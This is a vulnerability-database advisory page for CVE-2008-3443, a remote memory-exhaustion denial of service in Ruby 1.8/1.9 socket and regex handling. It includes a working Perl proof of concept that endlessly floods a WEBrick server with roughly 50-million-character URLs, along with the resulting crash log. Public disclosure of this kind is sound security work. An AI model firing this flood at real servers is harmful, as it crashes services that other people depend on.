SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow SecurityAlert Database

Arrow  Topic :

Ruby <= 1.9 (regex engine) Remote Socket Memory Leak Exploit


Arrow  SecurityAlert : 4158
Arrow  CVE : CVE-2008-3443
Arrow  CWE : CWE-399
Arrow  SecurityRisk : Medium  Security Risk Medium  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Victim interaction required : No
Arrow  Exploit Available : Yes
  ExploitAlert :   4487
Arrow  Credit : laurent g
Arrow  Published : 17.08.2008

Arrow  Affected Software : Ruby-lang, Ruby, 1.8.6
Ruby-lang, Ruby, 1.8.6, P111
Ruby-lang, Ruby, 1.8.6, P114
Ruby-lang, Ruby, 1.8.6, P230
Ruby-lang, Ruby, 1.8.6, P286
Ruby-lang, Ruby, 1.8.5
Ruby-lang, Ruby, 1.8.7
Ruby-lang, Ruby, 1.8.7, P22
Ruby-lang, Ruby, 1.8.7, P17
Ruby-lang, Ruby, 1.8.7, Preview1
Ruby-lang, Ruby, 1.8.7, Preview2
Ruby-lang, Ruby, 1.8.7, Preview3
Ruby-lang, Ruby, 1.8.7, Preview4
Ruby-lang, Ruby, 1.8.5, Preview2
Ruby-lang, Ruby, 1.8.5, Preview3
Ruby-lang, Ruby, 1.8.5, Preview4
Ruby-lang, Ruby, 1.8.5, Preview5
Ruby-lang, Ruby, 1.8.6, Preview1
Ruby-lang, Ruby, 1.8.6, Preview2
Ruby-lang, Ruby, 1.8.6, Preview3
Ruby-lang, Ruby, 1.9.0
Ruby-lang, Ruby, 1.9.0, Release 18423
Ruby-lang, Ruby, 1.8.6, P110
Ruby-lang, Ruby, 1.8.5, Preview1
Ruby-lang, Ruby, 1.8.7, P71



Arrow  Advisory Content :  

-------------------------------------------------------
Language : Ruby

Web Site: www.ruby-lang.org

Platform: All

Bug: Remote Socket Memory Leak

Products Affected:
1.8 series:
- 1.8.5 and all prior versions
- 1.8.6-p286 and all prior versions
- 1.8.7-p71 and all prior versions

1.9 series
- r18423 and all prior revisions

Confirmed by the vendor: Yes

Patch available : Yes
-------------------------------------------------------

1) Introduction
2) Bug
3) Proof of concept
4) Credits

===============
1) Introduction
===============
"A dynamic, open source programming language with a focus on simplicity and
productivity.
It has an elegant syntax that is natural to read and easy to write."

=======
2) Bug
=======
Ruby fails to handle properly the memory allocated for a socket
So when you send ~ 4 big request to a ruby socket, ruby will go
in infinite loop, and then crash.
The bug reside in the regex engine (in regex.c).

==================
3)Proof of concept
===================
This poc is an exemple for Webrick web server
crap.pl :

#!/usr/bin/perl
use LWP::Simple;
my $payload = "\x41" x 49999999;
while(1)
{
print "[+]\n";
get "http://127.0.0.1:2500/".$payload."";
}

Result (Exemple on Webrick web server):

[2008-07-11 22:39:55] INFO WEBrick 1.3.1
[2008-07-11 22:39:55] INFO ruby 1.8.6 (2007-09-24) [i486-linux]
[2008-07-11 22:39:55] INFO WEBrick::HTTPServer#start: pid=13850 port=2500
[2008-07-11 22:40:51] ERROR NoMemoryError: failed to allocate memory
/usr/lib/ruby/1.8/webrick/httprequest.rb:228:in
`read_request_line'
/usr/lib/ruby/1.8/webrick/httprequest.rb:86:in `parse'
/usr/lib/ruby/1.8/webrick/httpserver.rb:56:in `run'
/usr/lib/ruby/1.8/webrick/server.rb:173:in `start_thread'
/usr/lib/ruby/1.8/webrick/server.rb:162:in `start'
/usr/lib/ruby/1.8/webrick/server.rb:162:in `start_thread'
/usr/lib/ruby/1.8/webrick/server.rb:95:in `start'
/usr/lib/ruby/1.8/webrick/server.rb:92:in `each'
/usr/lib/ruby/1.8/webrick/server.rb:92:in `start'
/usr/lib/ruby/1.8/webrick/server.rb:23:in `start'
/usr/lib/ruby/1.8/webrick/server.rb:82:in `start'

/home/audit/instiki-0.13.0/vendor/rails/railties/lib/webrick_server.rb:63:i
n `dispatch'
script/server:62
[FATAL] failed to allocate memory
root@audit:/home/audit#

=====
5)Credits
=====

laurent gaffié

laurent.gaffie{remove_this}[at]gmail[dot]com



Arrow  References :

http://securityreason.com/expldownload/1/4487/1 (Exploit)
http://www.milw0rm.com/exploits/6239




Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

libc:fts_*() Multiple Denial of Service

Security Risk Medium- 2009-10-02

The fts functions are provided for traversing UNIX file hierarchies...

Apache RSS Apache Alert

» Apache 1.3.41 mod_proxy
   Integer overflow (code
   execution)

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion in work
   directory

» Apache Tomcat 6.0.20 and
   5.5.28 insecure partial
   deploy after failed
   undeploy

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion and/or
   alteration

PHP RSS PHP Alert

» PHP 5.2.12/5.3.1 Multiple
   Vulnerabilities

» PHP 5.2.11 libgd multiple
   vulnerabilities

» PHP 5.2.11 tempnam()
   safe_mode bypass

» PHP 5.3.0 5.2.11
   posix_mkfifo()
   open_basedir bypass

Copyright © SecurityReason.com. All Rights Reserved.